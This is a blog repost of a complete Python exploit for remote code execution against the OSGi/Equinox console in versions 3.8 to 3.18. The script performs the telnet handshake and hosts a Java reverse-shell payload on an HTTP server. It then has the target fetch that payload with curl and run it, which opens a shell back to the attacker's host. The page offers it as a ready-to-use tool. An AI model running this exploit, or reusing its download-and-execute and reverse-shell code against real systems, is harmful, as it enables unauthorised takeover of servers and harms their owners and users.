Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86394214

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python

# Exploit Title: [OSGi v3.8-3.18 Console RCE]
# Date: [2023-07-28]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
#                  VisionSpace Technologies GmbH]
# Exploit Repository:
#           [https://github.com/visionspacetec/offsec-osgi-exploits.git]
# Vendor Homepage: [https://eclipse.dev/equinox]
# Software Link: [https://archive.eclipse.org/equinox/]
# Version: [3.8 - 3.18]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Example:
# python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 \
#                                                      --lport=4444

"""
This is an exploit that allows to open a reverse shell connection from
the system running OSGi v3.8-3.18 and earlier.
"""
import argparse
import socket
import sys
import threading

from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer

# Stage 1 of the handshake message
HANDSHAKE_STAGE_1 = \
    b"\xff\xfd\x01\xff\xfd" \
    b"\x03\xff\xfb\x1f\xff" \
    b"\xfa\x1f\x00\x74\x00" \
    b"\x37\xff\xf0\xff\xfb" \
    b"\x18"

# Stage 2 of the handshake message
HANDSHAKE_STAGE_2 = \
    b"\xff\xfa\x18\x00\x58" \
    b"\x54\x45\x52\x4d\x2d" \
    b"\x32\x35\x36\x43\x4f" \
    b"\x4c\x4f\x52\xff\xf0"

# The buffer of this size is enough to handle the telnet handshake
BUFFER_SIZE = 2 * 1024


class HandlerClass(BaseHTTPRequestHandler):
    """
    This class overrides the BaseHTTPRequestHandler. It provides a specific
    functionality used to deliver a payload to the target host.
    """

    _lhost: str
    _lport: int

    def __init__(self, lhost, lport, *args, **kwargs):
        self._lhost = lhost
        self._lport = lport

        super().__init__(*args, **kwargs)

    def _set_response(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()

    def do_GET(self):  # pylint: disable=C0103
        """
        This method is responsible for the playload delivery.
        """

        print("Delivering the payload...")

        self._set_response()
        self.wfile.write(generate_revshell_payload(
            self._lhost, self._lport).encode('utf-8'))

        raise KeyboardInterrupt

    def log_message(self, format, *args):  # pylint: disable=W0622
        """
        This method redefines a built-in method to suppress
        BaseHTTPRequestHandler log messages.
        """

        return


def generate_revshell_payload(lhost, lport):
    """
    This function generates the Revershe Shell payload that will
    be executed on the target host.
    """

    payload = \
        "import java.io.IOException;import java.io.InputStream;" \
        "import java.io.OutputStream;import java.net.Socket;" \
        "class RevShell {public static void main(String[] args) " \
        "throws Exception { String host=\"%s\";int port=%d;" \
        "String cmd=\"sh\";Process p=new ProcessBuilder(cmd)." \
        "redirectErrorStream(true).start();Socket s=new Socket(host,port);" \
        "InputStream pi=p.getInputStream(),pe=p.getErrorStream(), " \
        "si=s.getInputStream();OutputStream po=p.getOutputStream()," \
        "so=s.getOutputStream();while(!s.isClosed()){while(pi.available()" \
        ">0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());" \
        "while(si.available()>0)po.write(si.read());so.flush();po.flush();" \
        "Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};" \
        "p.destroy();s.close();}}\n" % (
            lhost, lport)

    return payload


def run_payload_delivery(lhost, lport):
    """
    This function is responsible for payload delivery.
    """

    print("Setting up the HTTP server for payload delivery...")

    handler_class = partial(HandlerClass, lhost, lport)

    server_address = ('', 80)
    httpd = HTTPServer(server_address, handler_class)

    try:
        print("[+] HTTP server is running.")

        httpd.serve_forever()
    except KeyboardInterrupt:
        print("[+] Payload delivered.")
    except Exception as err:  # pylint: disable=broad-except
        print("[-] Failed payload delivery!")
        print(err)
    finally:
        httpd.server_close()


def generate_stage_1(lhost):
    """
    This function generates the stage 1 of the payload.
    """

    stage_1 = b"fork \"curl http://%s -o ./RevShell.java\"\n" % (
        lhost.encode()
    )

    return stage_1


def generate_stage_2():
    """
    This function generates the stage 2 of the payload.
    """

    stage_2 = b"fork \"java ./RevShell.java\"\n"

    return stage_2


def establish_connection(rhost, rport):
    """
    This function creates a socket and establishes the connection
    to the target host.
    """

    print("[*] Connecting to OSGi Console...")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((rhost, rport))
    print("[+] Connected.")

    return sock


def process_handshake(sock):
    """
    This function process the handshake with the target host.
    """

    print("[*] Processing the handshake...")
    sock.recv(BUFFER_SIZE)
    sock.send(HANDSHAKE_STAGE_1)
    sock.recv(BUFFER_SIZE)
    sock.send(HANDSHAKE_STAGE_2)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)


def deliver_payload(sock, lhost):
    """
    This function executes the first stage of the exploitation.
    It triggers the payload delivery mechanism to the target host.
    """

    stage_1 = generate_stage_1(lhost)

    print("[*] Triggering the payload delivery...")
    sock.send(stage_1)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)


def execute_payload(sock):
    """
    This function executes the second stage of the exploitation.
    It sends payload which is responsible for code execution.
    """

    stage_2 = generate_stage_2()

    print("[*] Executing the payload...")
    sock.send(stage_2)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)
    print("[+] Payload executed.")


def exploit(args, thread):
    """
    This function sends the multistaged payload to the tareget host.
    """

    try:
        sock = establish_connection(args.rhost, args.rport)

        process_handshake(sock)
        deliver_payload(sock, args.lhost)

        # Join the thread running the HTTP server
        # and wait for payload delivery
        thread.join()

        execute_payload(sock)

        sock.close()

        print("[+] Done.")
    except socket.error as err:
        print("[-] Could not connect!")
        print(err)
        sys.exit()


def parse():
    """
    This fnction is used to parse and return command-line arguments.
    """

    parser = argparse.ArgumentParser(
        prog="OSGi-3.8-console-RCE",
        description="This tool will let you open a reverse shell from the "
                    "system that is running OSGi with the '-console' "
                    "option in versions between 3.8 and 3.18.",
        epilog="Happy Hacking! :)",
    )

    parser.add_argument("--rhost", dest="rhost",
                        help="remote host", type=str, required=True)
    parser.add_argument("--rport", dest="rport",
                        help="remote port", type=int, required=True)
    parser.add_argument("--lhost", dest="lhost",
                        help="local host", type=str, required=False)
    parser.add_argument("--lport", dest="lport",
                        help="local port", type=int, required=False)
    parser.add_argument("--version", action="version",
                        version="%(prog)s 0.1.0")

    return parser.parse_args()


def main(args):
    """
    Main fuction.
    """

    thread = threading.Thread(
        target=run_payload_delivery, args=(args.lhost, args.lport))
    thread.start()

    exploit(args, thread)


if __name__ == "__main__":
    main(parse())